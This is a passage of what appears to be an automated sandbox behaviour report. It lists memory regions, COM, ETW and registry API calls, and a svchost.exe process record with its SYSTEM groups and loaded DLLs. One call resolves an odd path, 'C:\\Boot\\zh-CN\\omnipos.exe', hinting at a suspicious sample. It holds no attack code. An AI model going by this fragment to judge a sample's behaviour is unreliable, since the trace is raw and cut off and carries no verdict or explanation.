= 1 entry_point = 0x0 region_type = private name = "private_0x000000001a930000" filename = "" Region: id = 10187 start_va = 0x1a940000 end_va = 0x1a94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a940000" filename = "" Region: id = 10188 start_va = 0x1a950000 end_va = 0x1a95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a950000" filename = "" Region: id = 10189 start_va = 0x1a960000 end_va = 0x1a96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a960000" filename = "" Region: id = 10190 start_va = 0x1a970000 end_va = 0x1a97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a970000" filename = "" Region: id = 10191 start_va = 0x1a980000 end_va = 0x1a98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a980000" filename = "" Region: id = 10192 start_va = 0x1a990000 end_va = 0x1a99ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a990000" filename = "" Region: id = 10193 start_va = 0x1a9a0000 end_va = 0x1a9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9a0000" filename = "" Region: id = 10286 start_va = 0x570000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 10287 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 10288 start_va = 0x7fe94aa0000 end_va = 0x7fe94aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94aa0000" filename = "" Region: id = 10334 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10335 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10336 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10337 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10338 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10339 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 10397 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 10398 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 10446 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10464 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 10491 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Thread: id = 340 os_tid = 0x524 [0225.306] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.173] EtwEventRegister (in: ProviderId=0x2395808, EnableCallback=0x1ae6135c, CallbackContext=0x0, RegHandle=0x23957e8 | out: RegHandle=0x23957e8) returned 0x0 [0244.634] EtwEventRegister (in: ProviderId=0x2399f78, EnableCallback=0x1ae613ac, CallbackContext=0x0, RegHandle=0x2399f58 | out: RegHandle=0x2399f58) returned 0x0 [0246.261] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x234990*=0xd8, lpdwindex=0x18e6d4 | out: lpdwindex=0x18e6d4) returned 0x0 [0247.367] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0xbc4440*=0x228, lpdwindex=0x18e3c4 | out: lpdwindex=0x18e3c4) returned 0x0 [0247.987] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x234990*=0xd8, lpdwindex=0x18e6d4 | out: lpdwindex=0x18e6d4) returned 0x0 [0267.148] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0xbc4490*=0x24, lpdwindex=0x18e3c4 | out: lpdwindex=0x18e3c4) returned 0x0 [0267.759] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x234990*=0xd8, lpdwindex=0x18e6d4) Thread: id = 421 os_tid = 0x31c Thread: id = 430 os_tid = 0x44c [0227.834] CoGetContextToken (in: pToken=0x1a8ff700 | out: pToken=0x1a8ff700) returned 0x800401f0 [0227.835] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 438 os_tid = 0x80c Thread: id = 467 os_tid = 0x88c [0245.739] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.740] CoGetContextToken (in: pToken=0x1b16f850 | out: pToken=0x1b16f850) returned 0x0 [0245.740] CObjectContext::QueryInterface () returned 0x0 [0245.740] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.740] Release () returned 0x0 [0245.745] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.745] CoUninitialize () [0258.737] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b16dc88 | out: phkResult=0x1b16dc88*=0x0) returned 0x2 [0258.738] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.743] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\omnipos.exe", nBufferLength=0x105, lpBuffer=0x1b16e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\omnipos.exe", lpFilePart=0x0) returned 0x19 Thread: id = 468 os_tid = 0x890 Thread: id = 483 os_tid = 0x8cc Thread: id = 501 os_tid = 0x914 Thread: id = 502 os_tid = 0x918 Thread: id = 530 os_tid = 0x990 [0248.648] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.649] CoGetContextToken (in: pToken=0x1b6ff830 | out: pToken=0x1b6ff830) returned 0x0 [0248.649] CObjectContext::QueryInterface () returned 0x0 [0248.650] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.650] Release () returned 0x0 [0248.650] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.650] CoUninitialize () Thread: id = 543 os_tid = 0x9cc Process: id = "78" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x5d49000" os_pid = "0x368" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "76" os_parent_pid = "0x1c4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e2b8" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 7050 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7051 start_va = 0x20000 end_va = 0x20fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "svchost.exe.mui" filename = "\\Windows\\System32\\en-US\\svchost.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\svchost.exe.mui") Region: id = 7052 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7053 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 7054 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7055 start_va = 0xc0000 end_va = 0xc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 7056 start_va = 0xd0000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 7057 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 7058 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 7059 start_va = 0x170000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 7060 start_va = 0x230000 end_va = 0x230fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 7061 start_va = 0x240000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 7062 start_va = 0x340000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 7063 start_va = 0x440000 end_va = 0x5c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 7064 start_va = 0x5d0000 end_va = 0x750fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005d0000" filename = "" Region: id = 7065 start_va = 0x760000 end_va = 0x760fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 7066 start_va = 0x770000 end_va = 0x77afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\gpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\gpsvc.dll.mui") Region: id = 7067 start_va = 0x780000 end_va = 0x780fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 7068 start_va = 0x790000 end_va = 0x79cfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "setupapi.dll.mui" filename = "\\Windows\\System32\\en-US\\setupapi.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\setupapi.dll.mui") Region: id = 7069 start_va = 0x7a0000 end_va = 0x7a3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "taskcomp.dll.mui" filename = "\\Windows\\System32\\en-US\\taskcomp.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\taskcomp.dll.mui") Region: id = 7070 start_va = 0x7b0000 end_va = 0x7b9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schedsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\schedsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\schedsvc.dll.mui") Region: id = 7071 start_va = 0x7c0000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 7072 start_va = 0x840000 end_va = 0x840fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 7073 start_va = 0x850000 end_va = 0x851fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 7074 start_va = 0x860000 end_va = 0x863fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 7075 start_va = 0x870000 end_va = 0x871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 7076 start_va = 0x880000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 7077 start_va = 0x900000 end_va = 0x903fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 7078 start_va = 0x910000 end_va = 0x98ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 7079 start_va = 0x990000 end_va = 0x9bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000019.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000019.db") Region: id = 7080 start_va = 0x9c0000 end_va = 0x9cdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\System32\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\propsys.dll.mui") Region: id = 7081 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009f0000" filename = "" Region: id = 7082 start_va = 0xa20000 end_va = 0xa9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 7083 start_va = 0xaa0000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 7084 start_va = 0xb20000 end_va = 0xdeefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 7085 start_va = 0xe30000 end_va = 0xeaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 7086 start_va = 0xeb0000 end_va = 0xf2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 7087 start_va = 0xf50000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f50000" filename = "" Region: id = 7088 start_va = 0x1020000 end_va = 0x109ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 7089 start_va = 0x10e0000 end_va = 0x115ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000010e0000" filename = "" Region: id = 7090 start_va = 0x1170000 end_va = 0x11effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001170000" filename = "" Region: id = 7091 start_va = 0x1210000 end_va = 0x128ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001210000" filename = "" Region: id = 7092 start_va = 0x12e0000 end_va = 0x135ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000012e0000" filename = "" Region: id = 7093 start_va = 0x13b0000 end_va = 0x142ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000013b0000" filename = "" Region: id = 7094 start_va = 0x1430000 end_va = 0x14affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001430000" filename = "" Region: id = 7095 start_va = 0x1510000 end_va = 0x158ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 7096 start_va = 0x1590000 end_va = 0x160ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 7097 start_va = 0x1630000 end_va = 0x16affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001630000" filename = "" Region: id = 7098 start_va = 0x16b0000 end_va = 0x172ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000016b0000" filename = "" Region: id = 7099 start_va = 0x1730000 end_va = 0x1795fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 7100 start_va = 0x17a0000 end_va = 0x181ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000017a0000" filename = "" Region: id = 7101 start_va = 0x1870000 end_va = 0x18effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001870000" filename = "" Region: id = 7102 start_va = 0x18f0000 end_va = 0x19effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000018f0000" filename = "" Region: id = 7103 start_va = 0x1a30000 end_va = 0x1aaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001a30000" filename = "" Region: id = 7104 start_va = 0x1b20000 end_va = 0x1b9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001b20000" filename = "" Region: id = 7105 start_va = 0x1ba0000 end_va = 0x1c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ba0000" filename = "" Region: id = 7106 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7107 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7108 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7109 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7110 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7111 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7112 start_va = 0xffac0000 end_va = 0xffacafff monitored = 0 entry_point = 0xffac246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 7113 start_va = 0x7fefaa50000 end_va = 0x7fefaa58fff monitored = 0 entry_point = 0x7fefaa511a0 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 7114 start_va = 0x7fefac60000 end_va = 0x7fefacd6fff monitored = 0 entry_point = 0x7fefac6afd0 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 7115 start_va = 0x7fefada0000 end_va = 0x7fefada9fff monitored = 0 entry_point = 0x7fefada260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 7116 start_va = 0x7fefadb0000 end_va = 0x7fefaec1fff monitored = 0 entry_point = 0x7fefadcf354 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 7117 start_va = 0x7fefaed0000 end_va = 0x7fefaedefff monitored = 0 entry_point = 0x7fefaed7e80 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 7118 start_va = 0x7fefaee0000 end_va = 0x7fefaee8fff monitored = 0 entry_point = 0x7fefaee3668 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 7119 start_va = 0x7fefaef0000 end_va = 0x7fefaef8fff monitored = 0 entry_point = 0x7fefaef1020 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 7120 start_va = 0x7fefaf00000 end_va = 0x7fefaf55fff monitored = 0 entry_point = 0x7fefaf01040 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 7121 start_va = 0x7fefaf60000 end_va = 0x7fefafbdfff monitored = 0 entry_point = 0x7fefaf69024 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 7122 start_va = 0x7fefb270000 end_va = 0x7fefb283fff monitored = 0 entry_point = 0x7fefb273e64 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 7123 start_va = 0x7fefb290000 end_va = 0x7fefb2f6fff monitored = 0 entry_point = 0x7fefb2a6060 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 7124 start_va = 0x7fefb300000 end_va = 0x7fefb30afff monitored = 0 entry_point = 0x7fefb304f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 7125 start_va = 0x7fefb310000 end_va = 0x7fefb31bfff monitored = 0 entry_point = 0x7fefb3115d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 7126 start_va = 0x7fefb320000 end_va = 0x7fefb32ffff monitored = 0 entry_point = 0x7fefb32835c region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 7127 start_va = 0x7fefb330000 end_va = 0x7fefb348fff monitored = 0 entry_point = 0x7fefb3311a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 7128 start_va = 0x7fefb350000 end_va = 0x7fefb386fff monitored = 0 entry_point = 0x7fefb358424 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 7129 start_va = 0x7fefb3d0000 end_va = 0x7fefb3e4fff monitored = 0 entry_point = 0x7fefb3d60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 7130 start_va = 0x7fefb3f0000 end_va = 0x7fefb4b1fff monitored = 0 entry_point = 0x7fefb3f101c region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 7131 start_va = 0x7fefb6d0000 end_va = 0x7fefb6ecfff monitored = 0 entry_point = 0x7fefb6d2f18 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 7132 start_va = 0x7fefb6f0000 end_va = 0x7fefb6f8fff monitored = 0 entry_point = 0x7fefb6f1010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 7133 start_va = 0x7fefb7e0000 end_va = 0x7fefb80cfff monitored = 0 entry_point = 0x7fefb7e1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 7134 start_va = 0x7fefb980000 end_va = 0x7fefb994fff monitored = 0 entry_point = 0x7fefb981050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 7135 start_va = 0x7fefb9a0000 end_va = 0x7fefb9abfff monitored = 0 entry_point = 0x7fefb9a18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 7136 start_va = 0x7fefb9b0000 end_va = 0x7fefb9c5fff monitored = 0 entry_point = 0x7fefb9b11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 7137 start_va = 0x7fefbae0000 end_va = 0x7fefbaf0fff monitored = 0 entry_point = 0x7fefbae1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 7138 start_va = 0x7fefbc40000 end_va = 0x7fefbc74fff monitored = 0 entry_point = 0x7fefbc41064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 7139 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 7140 start_va = 0x7fefc110000 end_va = 0x7fefc23bfff monitored = 0 entry_point = 0x7fefc1194bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 7141 start_va = 0x7fefc240000 end_va = 0x7fefc25cfff monitored = 0 entry_point = 0x7fefc241ef4 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 7142 start_va = 0x7fefc290000 end_va = 0x7fefc483fff monitored = 0 entry_point = 0x7fefc41c924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 7143 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 7144 start_va = 0x7fefc9f0000 end_va = 0x7fefc9f6fff monitored = 0 entry_point = 0x7fefc9f14b0 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 7145 start_va = 0x7fefcab0000 end_va = 0x7fefcabcfff monitored = 0 entry_point = 0x7fefcab1348 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 7146 start_va = 0x7fefcaf0000 end_va = 0x7fefcb0afff monitored = 0 entry_point = 0x7fefcaf2068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 7147 start_va = 0x7fefcb10000 end_va = 0x7fefcb2dfff monitored = 0 entry_point = 0x7fefcb113b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 7148 start_va = 0x7fefcbe0000 end_va = 0x7fefcc18fff monitored = 0 entry_point = 0x7fefcbec0f0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") 